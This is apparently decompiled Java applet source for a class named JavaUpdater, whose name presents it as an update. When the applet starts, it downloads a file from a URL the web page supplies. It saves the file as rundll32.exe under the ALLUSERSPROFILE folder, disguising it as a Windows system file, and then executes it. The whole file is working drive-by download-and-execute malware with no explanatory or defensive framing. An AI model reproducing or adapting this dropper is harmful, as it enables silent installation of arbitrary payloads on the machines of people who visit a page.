import java.applet.Applet;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.URL;
import java.util.logging.Level;
import java.util.logging.Logger;

public class JavaUpdater extends Applet
{
  public void start()
  {
    String str1 = getParameter("url");
    String str2 = System.getenv("ALLUSERSPROFILE");
    String str3 = "\\rundll32.exe";

    String str4 = str2.concat(str3);
    BufferedInputStream localBufferedInputStream = null;
    try {
      localBufferedInputStream = new BufferedInputStream(new URL(str1).openStream());
    } catch (IOException localIOException1) {
      Logger.getLogger(JavaUpdater.class.getName()).log(Level.SEVERE, null, localIOException1);
    }
    FileOutputStream localFileOutputStream = null;
    try {
      localFileOutputStream = new FileOutputStream(str4);
    } catch (FileNotFoundException localFileNotFoundException) {
      Logger.getLogger(JavaUpdater.class.getName()).log(Level.SEVERE, null, localFileNotFoundException);
    }
    BufferedOutputStream localBufferedOutputStream = new BufferedOutputStream(localFileOutputStream, 1024);
    byte[] arrayOfByte = new byte[1024];
    try
    {
      int i;
      for (long l = 0L; (i = localBufferedInputStream.read(arrayOfByte)) != -1; l += i)
        localBufferedOutputStream.write(arrayOfByte, 0, i);
    }
    catch (IOException localIOException2) {
      Logger.getLogger(JavaUpdater.class.getName()).log(Level.SEVERE, null, localIOException2);
    }
    try {
      localBufferedOutputStream.close();
    } catch (IOException localIOException3) {
      Logger.getLogger(JavaUpdater.class.getName()).log(Level.SEVERE, null, localIOException3);
    }
    try {
      localBufferedInputStream.close();
    } catch (IOException localIOException4) {
      Logger.getLogger(JavaUpdater.class.getName()).log(Level.SEVERE, null, localIOException4);
    }
    try {
      Runtime.getRuntime().exec(str4);
    } catch (IOException localIOException5) {
      Logger.getLogger(JavaUpdater.class.getName()).log(Level.SEVERE, null, localIOException5);
    }
  }

  public void main(String[] paramArrayOfString) {
    start();
  }
}